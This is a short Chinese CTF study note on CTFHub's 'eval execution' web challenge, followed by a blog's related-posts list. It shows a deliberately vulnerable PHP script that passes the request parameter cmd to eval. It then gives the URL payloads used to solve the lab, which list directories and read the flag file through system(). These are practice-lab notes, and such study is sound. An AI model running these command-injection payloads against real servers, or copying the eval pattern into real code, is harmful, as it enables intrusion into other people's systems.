CTFHub 技能树 Web RCE eval执行(学习记录)

eval执行

源代码

php 复制代码
<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

PHP代码显示,要求将命令赋值给cmd然后执行

先查看一下根目录文件 /?cmd=system("ls");

查看上一级目录找flag文件

/?cmd=system("ls /");

打开flag文件发现FLAG

/?cmd=system("cat /flag_9237");

linux在读取flag的时候可以使用*去匹配

cat /flag*

/?cmd=system("cat /flag*");

相关推荐
小陈phd2 小时前
多模态大模型学习笔记(四十三)—— 视觉定位(Visual Grounding):语言描述在图像中的精准锚定
笔记·学习·目标跟踪
Xpower 172 小时前
Codex 桌面端更新后 Chrome 插件和 Computer Use 不可用,怎么排查和修复
前端·人工智能·chrome·python·学习
aWty_4 小时前
实分析入门(11)--Cantor三分集
学习·数学·算法·实变函数
for_ever_love__11 小时前
UI学习:UISearchController基础了解和应用
学习·ui·ios·objective-c
心中有国也有家11 小时前
GE图引擎深度解析——CANN的计算图优化与执行引擎
人工智能·pytorch·python·学习·numpy
GHL28427109012 小时前
换脸工作流学习
学习·ai
_李小白13 小时前
【android opencv学习笔记】Day 28: 滤波算法之中值滤波器
android·opencv·学习
飞翔中文网14 小时前
Java学习笔记之抽象类与接口(设计思想)
java·笔记·学习
土星碎冰机15 小时前
xxljob学习(大白话版本)
学习·运维开发
吃好睡好便好15 小时前
说说免疫力的维护
学习·生活